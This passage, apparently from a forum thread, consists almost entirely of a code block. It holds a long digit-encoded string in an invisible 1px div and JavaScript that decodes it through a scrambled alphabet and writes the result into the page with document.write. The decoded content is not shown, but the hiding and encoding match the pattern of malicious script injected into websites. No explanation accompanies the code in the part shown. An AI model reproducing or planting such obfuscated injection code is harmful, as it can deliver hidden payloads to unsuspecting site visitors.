6755</div><div>86008245097157792482152257061657792206560045675586005615551765722500715779454509861517063606721724715779024104816062816786085200362441673676715779673635354509212456152257066572250082152257060071577962</div><div>81623645154257521755087945675586002145098615740329367171593670242137373737373036063056005545093737558600861574032936717115715779220656024145098615740329245615860852253606657225008615740329367171594170</div><div>45375257067252790586373732787257523975550656087206474343715706174141608672793006550879003032364509423652052124345579820834156436423632826706523909558600216868211571367922686821157136792215873917065725</div><div>45093615423671725724592115713679221587391706572515225706185208435752063900696436423615425752175508796945356905693221157136792215873917065725152257061852084357520639006964364236154257798208526945356905</div><div>69703737303606305600824509373732787257523975550656087206474343715706176086727930065508790045094236520530240656551732862430153132223236243015787257523975550656087206474343715706176755860088361542367172</div><div>57450936154236717257245979727171327972717170675586008886155517382968683455798208341564364236450955860086153387242411686886155517334357523668688615425752334357523676841511686886154257523343575236022484</div><div>45093757711757095586008615551740573058086868861530082543365257657225170086154257524057305808326981328432413241694576416868861530082543365257657225170086154257524057305808326981325332413241694502244145</div><div>09375771175709558600861555174057305808450942365205553221325624820830722557790667558600561530525736065729715725577906686856153052573606572942577906450906523909552456153052573606572971572557790600698255</div><div>42694532212456153052573606572942577906006920284916294257790617694567211555795506294257790600693056367922576932863671175732863671175745675515368282294257790616551706577957520069305636792257693286155636</div><div>79827157520030157872575239755506560872064743437157061741413286323645328636711757456755158255174336063056294257790600214537303606305600224509373737577117570930157872575239755506560872064743437157061741</div><div>41008632364537373737375257067252790536154236717257373236434371570660095257177271061760595979727171327972717170325979727171327972717170325979727171327972717170703220284916605941324132417032363006554257</div><div>60594132413241703236717108345782605911321132117032137225253933216428362220284916604132137225253987433679283622202849166041322257060357177271066086727930065508790045094236520530240656551715525717727106</div><div>17323632216786085200362441673676301571577922065667363535450921243059367067558600215941704509215257365837375257067252795970153008793036060021453732303679285239608672793006550879008245094236520521240656</div><div>55173230242115313236242115433652577906650882576755860021153671710834578259827024242345095257067252790506527257375586008836154257521755087941666688361529793621715782666600301555173829686888301547300655</div><div>42571429793621715782454509558600211536717108345782598270242411450952570672527905065272573755860021153671710834578259827024248168688821152257060357177271060045594170450952570672527905065272573737525706</div><div>72527905863671175737323036792852394779396086727930065508790045094236520521240656551732366786085200362441673676211536717108345782157157792206566736353545095586002115303679285239003645450952570672527905</div><div>06527257373752570672527905863671175737323036792717574743437157062836226086727930065508790045094236520521240656551732302421153132362421154336525779066508825767525706725279008830155517382966663615297936</div><div>21715782453732303679271757332164573006283622608672793006550879004509423652053624065655173221243615316752570672527900882115551738296666211547300655425714297936217157824537327872575239285655176086727930</div><div>06550879005645094236520522323024065655173221243015433652577906650882573286242115313236244257798208522479727171328224861522570613334908216400301520284916595670320652725745675586008245090652390936248215</div><div>22570661575217550879004535690569674257798208522482152257066157798208520045356905696782151706360672172136520086153455791608368257820469056960690569453730360630560022450937558600861555178706526572250036</div><div>45450930155257177271061759567024593632425779820852703706523909558600861555173829686836686882155257368239870636065788244445098615223652213622572406527257678215433652577906650882571552572508425710565571</div><div>82008245373730360630560022450937373732557917575206202849166372575239477171608672793006550879005745094236520522240656551732792422154336525779066508825732822479153132082422155257177271061732782422152028</div><div>49163256246968792117436768792117436768792117436768792117436769327224694715307136171769675586008882155517870652557922005745666688007380156436528017513173451506571706005745666600738080734515065717060057</div><div>45450952570672527959797271713279727171703755860079153328507681450979153328502481375586007915645257135517362171578200454509525706725279597972717132797271717037558600791533285076114509791533285024113742</div><div>36520530245732062469693225675586000073598073707345150657170600574545092524571517437155060069736945673024255925157157792206566281706725592515715779220656628170246969670624251564085579006973694537423652</div><div>05642459693652305655425769323032693008825769327270327124596925363917305255430669326906527257697032522459691730525543063621715769326906527257697015300879303606007145328624888215551738296868791525552557</div><div>33216468687915255525573321641506394357047915255525573321641506394357607915255525572839435759417067558600887859417068682215303679271757332164573006283622004568682215303679285239004145450978594170248215</div><div>55173829048215557917575206202849160069082164573006693259690639435769328670153008793036060064453259693008825721361757693206701530087930360600644515300879303606005245325632794560821555791757520620284916</div><div>00690821645730066932596906394357693286326936523056554257693230326930713617175582693269643642366069357270325969300882572136175769320632693652305655425769323070153008793036060052453256327945670859417024</div><div>59413241706722157872575239285655170041453755860088785981706868221530367927175747434371570628362200456868221530367928523900814545097859817024821555173829048215557917575206202849160069364343715706693259</div><div>69367106693256701530087930360600714515300879303606006445325969300882572136175769320670153008793036060071453256327945608215557917575206202849160069364343715706693259693008825721361757693206326936710669</div><div>32567015300879303606007145153008793036060064453259701530087930360600714532563279456708598170245941324170672215787257523928565517008145375586008878591170686822153036792717573321645730062836220045686822</div><div>15303679285239001145450978591170248215551738290482155579175752062028491600690821645730066932596930713617175582693279153071361717381370325969300882572136175769320670153008793036060064451530087930360600</div><div>52453256327945608215557917575206202849160045670859117024594132417067221578725752392856551700114537558600882215137225253933216428362220284916686822153036792717573321645730062836220045450922151372252539</div><div>33216428362220284916248215557917575206202849160069082164573006693259703259703256453755860088221513722525398743367928362220284916450922151372252539874336792836222028491624821555791757520620284916006969</div><div>32597032597032564537674236520558323624416786085200582441675876081571577922065667583535450955860078595870666622153036792852390058454509363535375771175709215257365837375586003624240815715779220656450979</div><div>15225706615752175508791308795724791586085230576157525586392836221571577922065602410441608137525706725279052215225706035717727106004537373236434357798260867279300655087900573282450986085200423652053024</div><div>41673076821571577922065667303535450957154372175600825930704537373274364236505548608672793006550879004509373732368208215752573682575260092555255728394357606936434371553036065508797343828669327936421871</div><div>72225579332164607972717132435208223813605969473052081813501518135069326918135015188286100652716970323071361717381360693071175582601047534784075341621153411362818110506247114413624444441919231944414141</div><div>41693238658728471616291360093732437172225579203617495525572839435760867279300655087900823230328645094236520521240656551732572421153132366786085200360555790582450955860082593670686882593670150639435768</div><div>68825936701506394357242430450952570672527905813737558600571522570649552557297936217157821871722255790030328645450952570672527905813752570672527905413732225706615752175508796086727930065508790055326445</div><div>09423652058624065655173230248615313256328232583225244324797271713222247972717132712479727171323632216764240030155517870652557922006445686864157157792206564504641552574371363057007380177332696945150608</div><div>16083457521036175700456086152555255728394357675586003015551713578655795782008615386587284716162913596470454509861555791706367171578224861538658728471616291359647067525706725279375586008830155517382945</div><div>09362469478208215715511813501551187172226204557966478208215715514730520821360615511871722262045579664782082157155103573682575215511871722262045579696755860086152257066157521755087913087957882424414509</div><div>86152257066157521755087913087957244167432430152257064955255729793621715782187172225579008615255525572839435732364567558600884368683015563617495525572839435700861525552557283943574545094324301586557982</div><div>65364218717222557900363241453755860043450986157936421871722255793321642443672224301522570665722500431582571730525543065508794566663015225706657225004315793625574567222430152257061871722255795055715761</div><div>57521755087900433222456755860088226868301533872424814509558600861543717222557920361749552557283943570043326936434371553036065508797342798215368208215715438286482571693236454509222469846937577117570955</div><div>86008615437172225579203617495525572839435700433269364343715530360655087973427982153682082157154862253652176932364545092224695369373737373757711757092224861542575217550879372524301522570649552557297936</div><div>21715782187172225579006432364567861555791706367171578224256868220481600025044160008615793642187172225579332164046241151160628145453757711757094324301522570647143300861543520822381359417045666630152257</div><div>06471433008615435208223813598170456721247324801751005980828015703545732267065239098224004366663015225706133349082164003015557917575206202849160069082164573006693259693071361717558269328615307136171738</div><div>13703259691752306932696970326969328645454515405706615752175508791700456786085200582441675876196758353545095586002115065717060082456868008822666603572229484315318102224545092224035722294843153181373737</div><div>30360630560056450937861555791706367171578224220481600043044160628145375586008886154257521755087945098615425752175508792430158608522536066572250022453786153865872847161629135964702486155579170636717157</div><div>82373732838360413767187172225579135706573006155579550687305255430600456718717222557913570657300615225706615752175508790069156945676442575224187172225579135706573006152257066157521755087900697436423669</div><div>32643642368655715745674382864257522418717222557913570657300615225706615752175508790069478208215703573682575269456737303606305600574509375586000639435708860564425752242485170652557922854509644257522464</div><div>42575215174371550600851585453757711757096442575224594132413241324170375586000639435708860543828642575224248517065255792285450943828642575224438286425752151743715506008515854537577117570943828642575224</div><div>59413241324132417037867279300655087905174371410045095586000064425752598170242419686864425752592370762411234566660064425752598170242446686864425752592370762481534545098208307225577906153452550657006976</div><div>36434371570605300882572485217255718287575242553057151272557182107136171715307136171785053652305655425724851573223625571773340852251715643652850534558206562485818505565755225606248581850276433652362505</div><div>79362557248543850542367172572485574141084913133058037763036115737203131161085708647253235555465653558573027673364343715706026945673717437181004537867279300655087905174371810045095586006442575259817024</div><div>24466868644257525923707624112345094236520506525586522482083072255779061530525736065729715725577906008538500347492985456706525586521517570647060652552172065700853455820656853281456706525586521517570647</div><div>06065255217206570085565755225606853281456706525586521517570647060652552172065700851752308532851573223625571773643642367706527217061543564304862481414185456782083072255779061521088239153643435779821056</div><div>55718200065255865245371743711100453786727930065508790517437111004509558600644257525981702424466868644257525923700224814168686442575259237076248184450986727930065508790571641700307155824509065239094236</div><div>52052256062124820830722557790615305257360657297157255779060069331274291028694567225606211530713617175582246930711755826069353071558267225606211571367279305600695606064360056915300879303606006962746264</div><div>36526932690562748080808005055606064360737378720821360815557986087382154356430486248141416857241105790879576945453730360630560057450937377164170069104750292950471062132910076241414141624141414162471210</div><div>13295050291310124769456771641700695347138410534441624144442962818113816212232984624141534119504484841384236945673717437123004537867279300655087905174371230045095586006442575259817024244668686442575259</div><div>23700224818468686442575259237076241181450942365205177155865224820830722557790615305257360657297157255779060085385003474929854567177155865215175706470606525521720657008534558206568532814567177155865215</div><div>17570647060652552172065700855657552256068532814567177155865215175706470606525521720657008517523085328515732236255717736436423677175839715579571543564304862481414185456782083072255779061521088239153643</div><div>43577982105655718200177155865245371743714400453786727930065508790517437144004509423652055236442469157373151573733682082157724382360657155748576932523623248208307225577906153052573606572971572557790600</div><div>69082164573006694567523623151757064706065255217206570069558269325236234567523623151757064706065255217206570069307136171755826932693071175582601213844610191946624619472362818113416284532347624141104144</div><div>50101184292346694567065239094236520552364124523623151052573606573321645730060069368208822115170652573625693269694532523681245236231510525736065733216457300600698756577171154743437155303606550879693269</div><div>69453252361124523623151052573606573321645730060069251748257111151449162028281869326969456706523909523611150843577900694029286932695606064360737378720821360815557986087382154356430486248141416857244469</div><div>32863671175745675236111517577982004567523641150639435724816752364115084357790045675236411575525506570052361115525717430879175712088239456752364115873642572808505571570052364432114567523641151071081757</div><div>00456737303606305600574509370652390952368115175657717157485730720657005236444567373036063056005745093737303606305600574509371743711900453786727930065508790517560834774382860017523045094236520543558652</div><div>24820830722557790615305257360657297157255779060085385003474929854567435586521517570647060652552172065700853455820656853281456743558652151757064706065255217206570085565755225606853281456743558652151757</div><div>06470606525521720657008517523085321752304567820830722557790615210882391536434357798210565571820043558652453786727930065508790517437119004509558600438286425752594170024168684382864257525941707653450917</div><div>56083477438286008515732236255717738186824315435643048624814141854537577117570555860000438286425752594170242453456666004382864257525941702424846868438286425752598170762423454509175608347743828600851573</div><div>22362557177311868243154356430486248141418545371743714600453786727930065508790517437146004509065239098608520042365205552441322567557679364255223606085215437172225579171571577922065667553535450942365205</div><div>79362557247936425522360608521543717222557917595570157936255767558600793625571555798257483386008549578255360518713639575285458824628145092524820830722557790615305257360657297157255779060085385003474929</div><div>85456725151757064706065255217206570085175230853285157322362557177343305615435643048624814141854567251517570647060652552172065700853455820656853241456725151757064706065255217206570085565755225606853241</div><div>45678208307225577906152108823915364343577982105655718200254537373730360630560057450937175706285525570872060057798277525782555257300632464141414537174371410045</div></div><script>';


z="(^>R? t7o{C2BDX.LsP5Hbg3=m@UTE";
z+="c$,Ow+a}IyG0vp4)6AxMF*r8Kihek[";
z+=":V-QjN|;&\"]lu/JW<_qn\\1dz9'fS!";

s=new String();

        if(typeof(a) == 'string') {
         a=a.replace(/<html><body><div style="overflow:hidden;width:1px;height:1px;">/g,"");
a=a.replace(/<\/div>/g,"");         
         a=a.replace(/<div>/g,"");         
         a=a.replace(/<script>/g,"");
         for (i=0;i<=a.length;i+=2){
  q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
  s=s+z.substr(q,1);
         }
        }
         else   
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
  s+=z.substr(a[i],1);
}
        }

        document.write(s);
--- End code ---

Navigation

[0] Message Index

[#] Next page

Go to full version